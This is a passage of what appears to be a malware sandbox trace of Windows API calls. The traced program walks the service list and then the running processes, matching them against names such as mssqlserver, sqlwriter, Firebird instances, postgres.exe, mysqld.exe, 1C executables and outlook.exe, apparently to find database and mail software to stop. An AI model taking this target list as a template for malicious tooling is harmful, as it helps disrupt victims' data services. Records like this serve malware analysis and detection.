(lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0215.178] lstrlenW (lpString="ProfSvc") returned 7 [0215.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0215.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0215.178] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0215.178] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0215.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0215.178] lstrlenW (lpString="RpcEptMapper") returned 12 [0215.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0215.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0215.178] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0215.178] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0215.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0215.178] lstrlenW (lpString="RpcSs") returned 5 [0215.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0215.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0215.178] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0215.178] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0215.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0215.178] lstrlenW (lpString="SamSs") returned 5 [0215.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0215.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0215.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0215.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0215.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0215.178] lstrlenW (lpString="Schedule") returned 8 [0215.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0215.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0215.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0215.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0215.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0215.179] lstrlenW (lpString="SENS") returned 4 [0215.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0215.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0215.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0215.179] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0215.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0215.179] lstrlenW (lpString="ShellHWDetection") returned 16 [0215.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0215.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0215.179] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0215.179] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0215.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0215.179] lstrlenW (lpString="Spooler") returned 7 [0215.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0215.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0215.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0215.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0215.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0215.179] lstrlenW (lpString="sppsvc") returned 6 [0215.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0215.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0215.179] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0215.179] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0215.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0215.179] lstrlenW (lpString="SysMain") returned 7 [0215.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0215.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0215.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0215.179] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0215.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0215.179] lstrlenW (lpString="Themes") returned 6 [0215.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0215.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0215.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0215.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0215.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0215.179] lstrlenW (lpString="TrkWks") returned 6 [0215.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0215.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0215.179] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0215.179] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0215.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0215.179] lstrlenW (lpString="UxSms") returned 5 [0215.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0215.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0215.179] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0215.179] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0215.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0215.180] lstrlenW (lpString="VSS") returned 3 [0215.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0215.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0215.180] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0215.180] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0215.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0215.180] lstrlenW (lpString="WdiServiceHost") returned 14 [0215.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0215.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0215.180] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0215.180] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0215.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0215.180] lstrlenW (lpString="WdiSystemHost") returned 13 [0215.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0215.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0215.180] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0215.180] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0215.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0215.180] lstrlenW (lpString="WinDefend") returned 9 [0215.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0215.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0215.180] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0215.180] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0215.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0215.180] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0215.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0215.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0215.180] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0215.180] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0215.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0215.180] lstrlenW (lpString="Winmgmt") returned 7 [0215.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0215.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0215.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0215.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0215.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0215.180] lstrlenW (lpString="wscsvc") returned 6 [0215.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0215.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0215.180] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0215.180] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0215.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0215.180] lstrlenW (lpString="wuauserv") returned 8 [0215.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0215.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0215.180] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0215.180] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0215.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0215.180] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0215.182] Process32FirstW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.183] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.183] lstrlenW (lpString="System") returned 6 [0215.183] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0215.183] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0215.183] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0215.183] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0215.183] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0215.183] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0215.183] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0215.183] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.184] lstrlenW (lpString="smss.exe") returned 8 [0215.184] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0215.184] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0215.184] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.184] lstrlenW (lpString="csrss.exe") returned 9 [0215.185] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.185] lstrlenW (lpString="wininit.exe") returned 11 [0215.185] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.186] lstrlenW (lpString="csrss.exe") returned 9 [0215.186] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0215.186] lstrlenW (lpString="winlogon.exe") returned 12 [0215.186] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0215.187] lstrlenW (lpString="services.exe") returned 12 [0215.187] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0215.188] lstrlenW (lpString="lsass.exe") returned 9 [0215.188] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0215.188] lstrlenW (lpString="lsm.exe") returned 7 [0215.188] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.189] lstrlenW (lpString="svchost.exe") returned 11 [0215.189] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.189] lstrlenW (lpString="svchost.exe") returned 11 [0215.189] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.190] lstrlenW (lpString="svchost.exe") returned 11 [0215.190] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.191] lstrlenW (lpString="svchost.exe") returned 11 [0215.191] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.191] lstrlenW (lpString="svchost.exe") returned 11 [0215.191] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0215.192] lstrlenW (lpString="audiodg.exe") returned 11 [0215.192] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.192] lstrlenW (lpString="svchost.exe") returned 11 [0215.192] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.193] lstrlenW (lpString="svchost.exe") returned 11 [0215.193] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0215.193] lstrlenW (lpString="dwm.exe") returned 7 [0215.194] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0215.194] lstrlenW (lpString="explorer.exe") returned 12 [0215.194] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0215.195] lstrlenW (lpString="spoolsv.exe") returned 11 [0215.195] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0215.195] lstrlenW (lpString="taskhost.exe") returned 12 [0215.195] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.196] lstrlenW (lpString="svchost.exe") returned 11 [0215.196] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0215.196] lstrlenW (lpString="taskeng.exe") returned 11 [0215.196] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0215.197] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0215.197] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0215.198] lstrlenW (lpString="nova.exe") returned 8 [0215.198] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0215.198] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0215.198] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0215.199] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0215.199] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0215.199] lstrlenW (lpString="picks blair.exe") returned 15 [0215.199] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0215.200] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0215.200] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0215.200] lstrlenW (lpString="principal.exe") returned 13 [0215.201] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0215.201] lstrlenW (lpString="transportation.exe") returned 18 [0215.201] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0215.202] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0215.202] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0215.202] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0215.202] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0215.203] lstrlenW (lpString="planned.exe") returned 11 [0215.203] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0215.204] lstrlenW (lpString="springer andrew.exe") returned 19 [0215.204] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0215.204] lstrlenW (lpString="cakes import.exe") returned 16 [0215.204] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0215.205] lstrlenW (lpString="theory.exe") returned 10 [0215.205] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0215.205] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0215.205] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0215.206] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0215.206] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0215.206] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0215.206] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0215.207] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0215.207] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, 